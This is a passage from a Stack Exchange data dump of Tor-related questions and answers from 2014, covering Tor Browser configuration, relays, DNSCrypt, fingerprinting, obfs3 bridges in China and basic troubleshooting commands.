helping. I don't want to repeat the work of others and don't know if others would use such a configuration, though I think it has advantages.&lt;/p&gt;&#xA;" OwnerUserId="1835" LastEditorUserId="923" LastEditDate="2014-06-24T08:27:15.950" LastActivityDate="2014-06-24T08:27:15.950" Title="Running Tor relay or exit node entirely from RAM memory using initramfs or Live CD" Tags="|security|relays|exit-relays|server-administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2177" PostTypeId="2" ParentId="2176" CreationDate="2014-05-26T13:31:02.657" Score="1" Body="&lt;p&gt;I believe &lt;a href=&quot;http://opensource.dyc.edu/tor-ramdisk&quot; rel=&quot;nofollow&quot;&gt;tor-ramdisk&lt;/a&gt; or &lt;a href=&quot;https://redmine.koumbit.net/projects/torride&quot; rel=&quot;nofollow&quot;&gt;Torride&lt;/a&gt; to be what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-05-26T13:31:02.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2178" PostTypeId="1" CreationDate="2014-05-26T18:19:36.950" Score="2" ViewCount="1525" Body="&lt;p&gt;When the tor-launcher extension starts Tor Browser's tor, it uses the &quot;-f Data/Tor/torrc&quot; argument and the &quot;--defaults-torrc Data/Tor/torrc-defaults&quot; argument (if a torrc-defaults file is found). Here's what the man page says about these options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-f FILE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Specify a new configuration file to contain further Tor configuration options. (Default: @CONFDIR@/torrc, or $HOME/.torrc if that file is not found)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;--defaults-torrc FILE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Specify a file in which to find default values for Tor options. The contents of this file are overridden by those in the regular configuration file, and by those on the command line. (Default: @CONFDIR@/torrc-defaults.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it looks like Tor should be copying the contents of torrc into torrc-defaults. Why not use one torrc file only and set it with either the -f or --defaults-torrc options? Why are both files included?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2014-05-26T18:43:37.347" Title="Why does Tor Browser include multiple torrc files?" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2179" PostTypeId="2" ParentId="2178" CreationDate="2014-05-26T18:43:37.347" Score="2" Body="&lt;p&gt;The torrc-defaults file contains sane defaults for Tor that probably shouldn't be changed. If users want to modify Tor's behavior, or override the default behavior, they should edit the torrc file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way Tor's desired default settings are preserved in one file, no matter how much &quot;experimentation&quot; a user decides to do.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2014-05-26T18:43:37.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2180" PostTypeId="2" ParentId="2159" CreationDate="2014-05-27T07:53:22.417" Score="2" Body="&lt;p&gt;Verify, via the terminal command &lt;code&gt;ps aux | grep firefox&lt;/code&gt;, that no previous Firefox process was abnormally stopped and kept in 'ghost' status. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's the case, kill the process via &lt;code&gt;kill -9 &amp;lt;id&amp;gt;&lt;/code&gt;  or reboot the machine and then verify again, via terminal command &lt;code&gt;ps aux&lt;/code&gt;, that no Firefox process is still running.&lt;/p&gt;&#xA;" OwnerUserId="1839" LastEditorDisplayName="user5" LastEditDate="2015-01-03T14:25:34.143" LastActivityDate="2015-01-03T14:25:34.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2181" PostTypeId="2" ParentId="2061" CreationDate="2014-05-27T08:17:10.367" Score="1" Body="&lt;p&gt;The first things, I usually check,when I have this kind of problems, are: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;/etc/resolv.conf&lt;/li&gt;&#xA;&lt;li&gt;verify, if used, firewall rules&lt;/li&gt;&#xA;&lt;li&gt;use a traceroute command to follow the path done from your data&lt;/li&gt;&#xA;&lt;li&gt;I give as sure you already verified, &lt;strong&gt;but if not check correct gateway configuration&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Usually the first point is the goal: &lt;strong&gt;a lot of people forget to setup correctly the resolv.conf file !!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second point can be easily cheched: simply shut down your firewall ad verfiy if connection works. &lt;strong&gt;If it's the case sure the problem is a firewall rule&lt;/strong&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third point can help you finding where your data is blocked or lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A.G.&lt;/p&gt;&#xA;" OwnerUserId="1839" LastActivityDate="2014-05-27T08:17:10.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2182" PostTypeId="1" CreationDate="2014-05-27T13:27:08.553" Score="3" ViewCount="606" Body="&lt;p&gt;I was thinking about setting up Tor browser bundle to be my main browser and perhaps add a &quot;open in chrome&quot; (or something like) when I ran into an insurmountable Tor related problem. I hadn't considered this until now because everywhere seems to warn that one is giving up copious amounts of privacy by modifying Tor in any way. I thought I'd try in my regular browser testing on panopticlick with and without js enabled, disabled I'm a not great 1 in 14k, was 1 in 83k with default IE, 1 in 700 with my regular browser no js using Tor, with js and no Tor, well pretty darn unique... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, if I am using Tor with javascript disabled, and something like &quot;self destructing cookies&quot; am I at significantly more risk? Another side to this is, how much benefit is there to regular browsing hiding ones location? with the slew of addons I have installed (checking it against things like browserspy.dk) it really seems like the main bit of ongoing information &quot;leakage&quot; left is my location, which coupled with my language does make me a bit unique but as I have cookies (LSOs included) regularly deleted) js disabled etc. that doesn't seem as &quot;trackable&quot;. Last detail, when I am serious about anonymity, I do indeed boot up Tails and use that. &lt;/p&gt;&#xA;" OwnerUserId="1840" LastEditorUserId="923" LastEditDate="2014-06-25T07:15:34.463" LastActivityDate="2015-07-31T07:54:11.937" Title="How much privacy is one giving up when javascript is turned off?" Tags="|tor-browser-bundle|anonymity|security|javascript|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2183" PostTypeId="1" CreationDate="2014-05-27T17:09:44.977" Score="6" ViewCount="858" Body="&lt;p&gt;I want to host multiple hidden services on the same Tor instance and have the ability to add/remove &quot;programmaticaly&quot; hidden services while Tor is running. As of now I would update a Torrc file and send a &quot;RELOAD&quot; signal on the instance's control port in order to apply the addition/deletion of a hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I initially thought that when I do &quot;RELOAD&quot;, Tor would be smart by killing open &quot;client&quot; circuits and rebuild new ones + update HS circuits that need to be updated (ie, add a new circuit, or kill one, depending on what has changed in the HS part of the config). I recently discovered (edit: from what I understood by reading the control spec and the source code) that it's doesn't seem to be the case : since Tor clears its internal state, all open circuits (HS or not) will be killed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked again into the Tor control protocol spec to see how I could set hidden services while Tor is running. I've found how to do it (&lt;code&gt;SETCONF&lt;/code&gt; with the list of HiddenService* lines you would put in the torrc file, in the correct order). Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SETCONF HiddenServiceDir=&quot;/path/to/key1&quot; HiddenServicePort=&quot;80 127.0.0.1:80&quot; HiddenServiceDir=&quot;/path/to/key2&quot; HiddenServicePort=&quot;80 127.0.0.1:80&quot; [more hidden services here]\r\n&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I haven't found a way to apply these new settings without doing a &lt;code&gt;SIGNAL RELOAD&lt;/code&gt; again. Is there an other way to have those new hidden services be taken into account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit : this question applies actually to adding/removing hidden services or modifying a service's port bindings&lt;/p&gt;&#xA;" OwnerUserId="1008" LastEditorUserId="1008" LastEditDate="2014-05-27T23:02:36.083" LastActivityDate="2016-06-04T12:42:17.867" Title="Adding/removing hidden services while not affecting the others" Tags="|onion-services|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2184" PostTypeId="2" ParentId="2182" CreationDate="2014-05-28T00:33:37.807" Score="1" Body="&lt;p&gt;Check how much identifiable Information your browser sends with the EFF's &lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow&quot;&gt;Panopticlick&lt;/a&gt; project. Revisit with different settings/Plug-Ins/Add-ons to see the differences.&#xA;The lower your “uniquely identifyable in x” score, the less identifyable your browser is. &lt;/p&gt;&#xA;" OwnerUserId="312" LastActivityDate="2014-05-28T00:33:37.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2185" PostTypeId="2" ParentId="1986" CreationDate="2014-05-28T06:49:07.737" Score="2" Body="&lt;p&gt;&lt;strong&gt;Short answer:&lt;/strong&gt; Yes, it still uses Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long answer:&lt;/strong&gt; I have tested this using a completely different method to the one outlined below. I just used DownThemAll! to download the &lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Project test page&lt;/a&gt;. First, I did a baseline test using &lt;code&gt;curl&lt;/code&gt; with Tor (&lt;code&gt;curl https://check.torproject.org/ -x socks5://127.0.0.1:9050 -o test_withtor.html&lt;/code&gt;) and without (&lt;code&gt;curl https://check.torproject.org/ -o test_withouttor.html&lt;/code&gt;), just to verify that the test page works in downloaders. The respective pages showed that they were and weren't using Tor. So that part works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I added &lt;code&gt;https://check.torproject.org/&lt;/code&gt; as a DTA! download. Opened the downloaded file, and:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TBpaS.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Success!&lt;/p&gt;&#xA;" OwnerUserId="1156" LastEditorUserId="923" LastEditDate="2014-06-27T22:10:46.650" LastActivityDate="2014-06-27T22:10:46.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2187" PostTypeId="2" ParentId="2017" CreationDate="2014-05-28T07:28:09.110" Score="0" Body="&lt;p&gt;Also be careful if you use &lt;strong&gt;DNSCrypt&lt;/strong&gt;: if you do, change dns from &lt;strong&gt;DNSCrypt&lt;/strong&gt; dns proxy127.0.0.54 to any other DNS server you like as, for example, google (8.8.8.8). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on Osx 10.9.3 and since 10.9.0, I realized that often TBB does not work correctly if DNSCrypt is using it own dns proxy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change configuration also directly from &lt;strong&gt;DNSCrypt manager panel&lt;/strong&gt; in &lt;strong&gt;System Preferences&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;   &quot;&lt;em&gt;Enable DNSCrypt&lt;/em&gt;&quot;&#xA;&lt;strong&gt;UNFLAG&lt;/strong&gt; &quot;&lt;strong&gt;Alway use OpenDNS&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This permits you to change the DNS server in the &lt;strong&gt;Network&lt;/strong&gt;-&gt; &lt;strong&gt;Advanced&lt;/strong&gt;-&gt; &lt;strong&gt;DNS&lt;/strong&gt; panel in &lt;em&gt;System Preferences&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you can set the DNS server to openDNS if you wish, but unflaging &lt;strong&gt;Alway use OpenDNS&lt;/strong&gt; the important result is that &lt;strong&gt;Advanced&lt;/strong&gt; tab in &lt;em&gt;Network&lt;/em&gt; panel is not more &lt;strong&gt;forced&lt;/strong&gt; to use the DNSCrypt DNS proxy (127.0.0.54)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this can help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A.G.&lt;/p&gt;&#xA;" OwnerUserId="1839" LastActivityDate="2014-05-28T07:28:09.110" CommentCount="0" CommunityOwnedDate="2014-05-28T07:28:09.110" ContentLicense="CC BY-SA 3.0" />
  <row Id="2188" PostTypeId="1" CreationDate="2014-05-28T13:01:00.323" Score="1" ViewCount="384" Body="&lt;p&gt;I came across a different question where an &lt;a href=&quot;https://tor.stackexchange.com/questions/2017/tor-browser-bundle-has-stopped-working-mac/2187#2187&quot;&gt;answer&lt;/a&gt; mentioned DNSCrypt might cause issues with TBB (I don't have enough reputation to comment there and didn't what to hijack that question so I'm starting a new one here.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I kind of presumed that TBB was self contained and handled all its DNS requests itself. So I presumed that it was bypassing DNSCrypt. This thread on &lt;a href=&quot;https://tor.stackexchange.com/questions/8/how-does-tor-route-dns-requests/26#26&quot;&gt;Tor&lt;/a&gt; (not TorBroswer, which is what I'm concerned with) seems to suggests that might be correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on OS X 10.8.5 and I use the DNSCrypt GUI 0.19. But I'm sure the same principles apply to all OSes and non-GUI DNScrypt.&lt;/p&gt;&#xA;" OwnerUserId="1691" LastActivityDate="2014-06-06T07:06:37.397" Title="Is it safe to use DNSCrypt along side TorBrowser Bundle?" Tags="|tor-browser-bundle|mac|dns|information-leaks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2189" PostTypeId="1" CreationDate="2014-05-29T03:35:52.573" Score="3" ViewCount="29979" Body="&lt;p&gt;When I try to open the Tor bundle on a Mac, a box pops up and says &quot;A copy of Firefox is already open. Only one copy of Firefox can be open at a time.&quot; But I don't have Firefox open.&lt;/p&gt;&#xA;" OwnerUserId="1846" LastEditorUserId="114" LastEditDate="2014-05-29T13:09:50.593" LastActivityDate="2014-09-08T13:10:34.933" Title="Tor won't open on mac, saying Firefox is running - but it isn't" Tags="|tor-browser-bundle|firefox|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2190" PostTypeId="2" ParentId="2037" CreationDate="2014-05-29T05:29:54.107" Score="1" Body="&lt;p&gt;Sadly, I have done a lot of internet research but I have never found an answer that works for me on a Mac.  My best guess is that when I start Tor browser, it somehow 'launches' firefox again and causes this issue (?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used Tor on my Windows laptop but now have switched to Mac. Sadly, it looks like I can no longer use Tor due to my limited tech knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am an advanced novice. I also don't have some necessary 'working knowledge' of Mac which some posters assume. However, Sean - insulting people will not get them to help you.  I'm also frustrated but, it's not the fault of posters if they don't know the answer to your problem.&lt;/p&gt;&#xA;" OwnerUserId="1847" LastEditorUserId="923" LastEditDate="2014-06-28T14:13:11.963" LastActivityDate="2014-06-28T14:13:11.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2191" PostTypeId="1" AcceptedAnswerId="3258" CreationDate="2014-05-29T09:03:02.787" Score="2" ViewCount="81" Body="&lt;p&gt;I am running a Tor relay on FreeBSD 10, with OpenSSL 1.0.1 (from ports, because of more performant curves). The version is Tor version 0.2.5.4-alpha (git-d2147cc7ba5c5d51). It has a somewhat high load and I receive the following warnings throughout my log. I am not sure how to deal with these. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;May 28 16:31:51.000 [warn] Unexpected sendme cell from client. Closing circ (window 1000).&#xA;May 28 16:35:20.000 [warn] No unused circIDs found on channel without wide circID support, with 0 inbound and 6 outbound circuits. Found 0 circuit IDs in use by circuits, and 64 with pending destroy cells.Failing a circuit.&#xA;May 28 18:51:24.000 [warn] No unused circIDs found on channel without wide circID support, with 0 inbound and 12 outbound circuits. Found 0 circuit IDs in use by circuits, and 64 with pending destroy cells.Failing a circuit.&#xA;May 28 18:51:24.000 [warn] failed to get unique circID. [7 similar message(s) suppressed in last 9600 seconds]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: It appears to be related to high throughput, but there is still enough CPU and memory left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: Also I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void circuit_unlink_all_from_channel(channel_t *, int)(): Bug: Circuit on detached list which I had no reason to mark&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1292" LastEditorUserId="1292" LastEditDate="2014-06-02T19:21:38.270" LastActivityDate="2014-06-05T21:23:08.987" Title="Warnings on Relay: No unused circIDs found on channel without wide circID support" Tags="|relays|circuit|freebsd|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2192" PostTypeId="1" CreationDate="2014-05-29T13:12:55.260" Score="1" ViewCount="6286" Body="&lt;p&gt;How can I play HTML5 videos on YouTube with the latest TorBrowser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even after having activated the HTML5 player on youtube.com/html5, HTML5 videos are not played. Instead, an error message claims that the browser in use does not support the HTML5 video format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any hints on how I can solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for your help!&lt;/p&gt;&#xA;" OwnerUserId="1848" LastActivityDate="2014-05-29T13:12:55.260" Title="How can I play HTML5 videos on YouTube with the latest TorBrowser?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-24T11:14:34.663" ContentLicense="CC BY-SA 3.0" />
  <row Id="2193" PostTypeId="1" CreationDate="2014-05-29T14:02:35.213" Score="0" ViewCount="468" Body="&lt;p&gt;I install latest Tor browser bundle. I can open a browser.&#xA;But I need to add HidServAuth, but I don't know how to do it.&#xA;Is torrc file gone?&lt;/p&gt;&#xA;" OwnerUserId="1849" LastActivityDate="2014-05-29T14:51:19.160" Title="Where is torrc file in TBB 3.5.1?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ClosedDate="2014-05-29T21:18:44.603" ContentLicense="CC BY-SA 3.0" />
  <row Id="2194" PostTypeId="1" CreationDate="2014-05-29T14:23:29.423" Score="3" ViewCount="777" Body="&lt;p&gt;Linked from download page:&#xA;&lt;a href=&quot;http://www.torproject.org/dist/vidalia-bundles/vidalia-bridge-bundle-0.2.4.22-0.2.21.exe&quot; rel=&quot;nofollow&quot;&gt;http://www.torproject.org/dist/vidalia-bundles/vidalia-bridge-bundle-0.2.4.22-0.2.21.exe&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why this tor.exe is bigger than TBB's one?&#xA;Also, why TBB's tor.exe is not 0.2.4.22? (It's 0.2.4.21)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And why Tor project doesn't have a ZIP (or RAR) option?&#xA;I don't give administrator privilege to unknown executable!&lt;/p&gt;&#xA;" OwnerUserId="1850" LastEditorUserId="923" LastEditDate="2014-08-08T04:26:09.323" LastActivityDate="2014-11-06T14:25:44.887" Title="Are Tor's downloaded files really secure? Also why not zip package?" Tags="|tor-browser-bundle|windows|vidalia|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2195" PostTypeId="1" CreationDate="2014-05-29T14:45:52.807" Score="2" ViewCount="108" Body="&lt;p&gt;On the Tails webpage, the users are warned that different identities are not separated &quot;magically&quot; within the same Tails session. It is recommended to shutdown and reboot Tails before using a different identity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this also apply to the TorBrowser shipped with Tails?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the latest version of Tails, the TorBrowser contains the &quot;New Identity&quot; feature of Torbutton. By clicking &quot;New Identity&quot; on the green onion in the tool bar of TorBrowser, a new TorBrowser session is generated. As far as I understand, the TorBrowser in Tails behaves the same way as the stand-alone TorBrowser does with regard to session separation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I really need to shutdown and reboot Tails to separate different browsing sessions and thus, identities?&lt;br&gt;&#xA;Or is it sufficient to use the &quot;New Identity&quot; feature of Torbutton to separate different browsing sessions/identities?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Remember: I do NOT mean the &quot;New Identity&quot; feature of Vidalia!)&lt;/p&gt;&#xA;" OwnerUserId="1851" LastEditorUserId="923" LastEditDate="2014-06-02T10:00:35.350" LastActivityDate="2014-06-02T10:00:35.350" Title="Tails: Separation of different identities within the same session" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2196" PostTypeId="2" ParentId="2193" CreationDate="2014-05-29T14:51:19.160" Score="0" Body="&lt;p&gt;&lt;code&gt;torrc&lt;/code&gt; is located in the &lt;code&gt;Data/Tor&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that this location will &lt;a href=&quot;https://bugs.torproject.org/11641&quot; rel=&quot;nofollow&quot;&gt;change with the next version&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-05-29T14:51:19.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2197" PostTypeId="1" CreationDate="2014-05-29T15:56:08.513" Score="4" ViewCount="4142" Body="&lt;p&gt;I will be taking a trip to China in a few weeks, and I am wondering whether obfs3 protocol will work in China or not. If not, then could someone suggest a method that can still allow Tor to operate correctly behind the Great Firewall?&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2014-09-10T06:01:41.133" Title="Does connections using obfs3 still work in China?" Tags="|obfsproxy|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2198" PostTypeId="1" CreationDate="2014-05-29T17:49:50.610" Score="4" ViewCount="606" Body="&lt;p&gt;I need to connect anonymously to a remote samba server. This is possible using an url like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file:///ip.to.the.server/share&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the Tor browser bundle - I've checked. My question is, can I be sure that this traffic is routed through Tor much like it would with normal HTTP protocol traffic? My concern is that the traffic would somehow be routed via the OS and use my real IP. I am running windows 7.&lt;/p&gt;&#xA;" OwnerUserId="1854" LastEditorUserId="923" LastEditDate="2014-06-24T08:25:48.927" LastActivityDate="2014-06-24T08:25:48.927" Title="Is all traffic using the file protocol (file://) for smb/samba shares routed through Tor using tor browser?" Tags="|tor-browser-bundle|anonymity|windows|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2199" PostTypeId="2" ParentId="2189" CreationDate="2014-05-29T17:52:25.590" Score="1" Body="&lt;p&gt;The tor browser bundle is in a sense a modified version of FireFox. Due to this, when your computer is telling you only one FireFox can be run at a time, it's because Tor counts as a FireFox app.&lt;/p&gt;&#xA;" OwnerUserId="1855" LastActivityDate="2014-05-29T17:52:25.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2200" PostTypeId="1" CreationDate="2014-05-29T18:44:56.967" Score="1" ViewCount="794" Body="&lt;p&gt;I want to load html content through the Tor network and execute JavaScript that comes with the loaded content to load additional content through the Tor network via AJAX or similar techniques. But I can't use the Tor browser for this. This must be done automated by a script that runs on a Linux server without any human interaction. There is no GUI (graphical user interface) installed on the computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a application that ...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;can use the Tor network to connect to the internet&lt;/li&gt;&#xA;&lt;li&gt;can execute JavaScript to load additional content via AJAX or similar techniques&lt;/li&gt;&#xA;&lt;li&gt;runs on a linux server that has no graphical user interface&lt;/li&gt;&#xA;&lt;li&gt;offers an API that can be controlled by a Perl script or any other&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1856" LastEditorUserId="923" LastEditDate="2014-11-26T19:33:30.723" LastActivityDate="2017-09-23T21:03:58.833" Title="How does one execute JavaScript using Tor network without human interaction?" Tags="|linux|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2201" PostTypeId="1" AcceptedAnswerId="2203" CreationDate="2014-05-29T19:20:05.430" Score="3" ViewCount="343" Body="&lt;p&gt;Does browser fingerprinting leak data only to the server that is answering my request, or also to my ISP or other network-level eavesdropper? Assuming HTTPS (HTTP should leak to the HTTPS &quot;leak set&quot; plus the exit node, I imagine).&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2016-06-06T11:31:38.350" Title="If my web browser is fingerprintable (say, odd window size/screen resolution), who gets to see it?" Tags="|tor-browser-bundle|fingerprinting|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2202" PostTypeId="2" ParentId="2201" CreationDate="2014-05-29T20:56:12.503" Score="2" Body="&lt;p&gt;Only to the person answering the request (unless there is a faulty SSL setup at their end, which is very unlikely). There are also ways you can avoid sending &quot;fingerprintable&quot; headers at all, but I wouldn't bother.&lt;/p&gt;&#xA;" OwnerUserId="1156" LastActivityDate="2014-05-29T20:56:12.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2203" PostTypeId="2" ParentId="2201" CreationDate="2014-05-29T22:05:51.920" Score="5" Body="&lt;p&gt;When using Tor the metadata provided by your browser (the data primarily used for fingerprinting) is only accessible to the server as all communication between you and the server is encrypted. If you were not using HTTPS, third parties between the tor exit node and the server would also be able to get the browser metadata.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-05-29T22:05:51.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2204" PostTypeId="2" ParentId="2172" CreationDate="2014-05-30T04:40:16.747" Score="2" Body="&lt;p&gt;If I remember correctly, &lt;a href=&quot;http://mumble.sourceforge.net&quot; rel=&quot;nofollow&quot;&gt;Mumble&lt;/a&gt; is good for this. The only slight problem is that it's based on client-server architecture so, so as best case some of you needs to host it. (Not that complex to setup)&lt;/p&gt;&#xA;" OwnerUserId="1858" LastActivityDate="2014-05-30T04:40:16.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2205" PostTypeId="2" ParentId="2197" CreationDate="2014-05-30T08:35:57.923" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;https://blog.torproject.org/blog/how-to-read-our-china-usage-graphs&quot; rel=&quot;nofollow&quot;&gt;How to read our China usage graphs&lt;/a&gt; and &lt;a href=&quot;http://arstechnica.com/information-technology/2013/04/tor-calls-for-help-as-its-supply-of-bridges-falters/&quot; rel=&quot;nofollow&quot;&gt;Tor calls for help as its supply of bridges falters&lt;/a&gt;, the obfs3 plugin for obfsproxy is still effective in China. What's missing are enough bridges that are running obfs3 and associated software for reporting reliable measures for usage and effectiveness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also read that the GFW may block or throttle encrypted traffic, even if there is no plaintext, and it appears random. Also, I have seen reports that the GFW is more restrictive in rural areas than in large cities. Using &lt;a href=&quot;http://www.websitepulse.com/help/testtools.china-test.html&quot; rel=&quot;nofollow&quot;&gt;Website Test behind the Great Firewall of China&lt;/a&gt;, one can test the availability of websites in Shanghai, Beijing, Guangzhou and Hong Kong.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-05-30T08:35:57.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2206" PostTypeId="2" ParentId="2198" CreationDate="2014-05-30T09:16:39.063" Score="2" Body="&lt;p&gt;I did some testing on my own and my conclusion is that the connection is in fact established &lt;strong&gt;outside&lt;/strong&gt; the tor browser sandbox. The tor browser is merely functioning as some kind of &quot;window&quot; for the ordinary OS-specific SMB communication. That means that the tor users actual private IP is used in this case. Good to know.&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2014-05-30T09:16:39.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2207" PostTypeId="1" CreationDate="2014-05-30T11:32:55.120" Score="1" ViewCount="217" Body="&lt;p&gt;I am looking at Tooway Satellite Broadband (20mbps). It beams down to their ground station in Italy. Is this safe to use with Tor?&lt;/p&gt;&#xA;" OwnerUserId="1861" LastActivityDate="2014-07-30T14:01:45.427" Title="Satellite Broadband - Safe?" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2209" PostTypeId="2" ParentId="2121" CreationDate="2014-05-31T01:35:34.720" Score="2" Body="&lt;p&gt;This would generally hurt you more than the Tor network. Directory Authorities will receive your request to create a metric bajillion hidden services, let's say, but this is basically just a half of a hash - a very tiny file. This, plus the fact that any node has the ability to to be a mirror and therefore offload this value makes it difficult to see a problem in this case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The case where it could theoretically become an issue (and by theoretically I do mean a case where you have almost infinite bandwidth, cpu, and memory) is if clients start connecting to those services. Because so many parties would need to be involved in facilitating the connection to the hidden service (I think 9 nodes if I'm adding correctly) this would cause a dramatic increase in traffic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no, this specific issue would not take down the network in some way. &lt;/p&gt;&#xA;" OwnerUserId="1181" LastActivityDate="2014-05-31T01:35:34.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
